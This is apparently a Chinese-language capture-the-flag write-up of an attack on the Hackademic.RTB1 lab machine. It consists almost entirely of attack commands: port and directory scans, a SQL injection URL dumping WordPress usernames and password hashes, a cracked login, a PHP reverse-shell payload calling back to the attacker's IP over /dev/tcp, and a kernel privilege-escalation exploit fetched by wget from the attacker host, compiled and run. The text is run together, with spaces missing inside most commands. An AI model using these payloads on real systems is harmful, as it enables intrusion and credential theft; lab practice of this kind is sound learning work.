WP-Hackademic.RTB1

# 使用 nmap 扫描目标开放端口nmap-sS-Pn-p---min-rate1000192.168.9.165-oN nmap_full.txt

gobusterdir-u http://192.168.9.165-w/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt-x php,html,txt

nmap--script=vuln-p80192.168.9.165

dirsearch-u http://192.168.9.165/Hackademic_RTB1/-i200

searchsploit"软件名 版本号"http://192.168.9.165/Hackademic_RTB1/?cat=0union select1,group_concat(id,user_login,user_pass),3,4,5fromwp_users

1-NickJames-21232f297a57a5a743894a0e4a801fc3-1

2-JohnSmith-b986448f0bb9e5e124ca91d3d650f52c-0

3-GeorgeMiller-7cbb3252ba6b7e9c422fac5334d22054-10

4-TonyBlack-a6e514f9486b83cb53d8d932f9a04292-0

5-JasonKonnors-8601f6e1028a8e8a966f6c33fcd9aec4-0

6-MaxBucky-50484c19f1afdaf3841a0d821ed393d2-0

http://192.168.9.165//Hackademic_RTB1/wp-login.php--登陆页面 GeorgeMiller 7cbb3252ba6b7e9c422fac5334d22054-q1w2e3

<?phpexec("/bin/bash -i >& /dev/tcp/192.168.9.135/7777 0>&1");?>http://192.168.9.165/Hackademic_RTB1/wp-content/abc.php

提权

┌──(root💀kali)└─# searchsploit linux kernel 2.6.3 | grep -i 'Privilege Escalation'searchsploit linux kernel2.6.3|grep-i'Privilege Escalation'|grep-v'Ubuntu'|grep-v'CentOS'|grep-v'Debian'|grep-v'RedHat'-v是反向查询，也就是把不需要的关键词过滤掉

searchsploit linux kernel2.6.3|grep-i'Privilege Escalation'searchsploit linux kernel2.6.3|grep-i'Privilege Escalation'|grep-v'Ubuntu'|grep-v'CentOS'|grep-v'Debian'|grep-v'RedHat'searchsploit-m linux/local/15285.c# 将Exploit-DB仓库中的linux/local/8478.sh复制到当前工作目录（-m = mirror）15285.c —————kali python-m http.server8989————靶机 wget http://192.168.9.135:8989/15285.c gcc15285.c-o15285chmod-R77715285./15285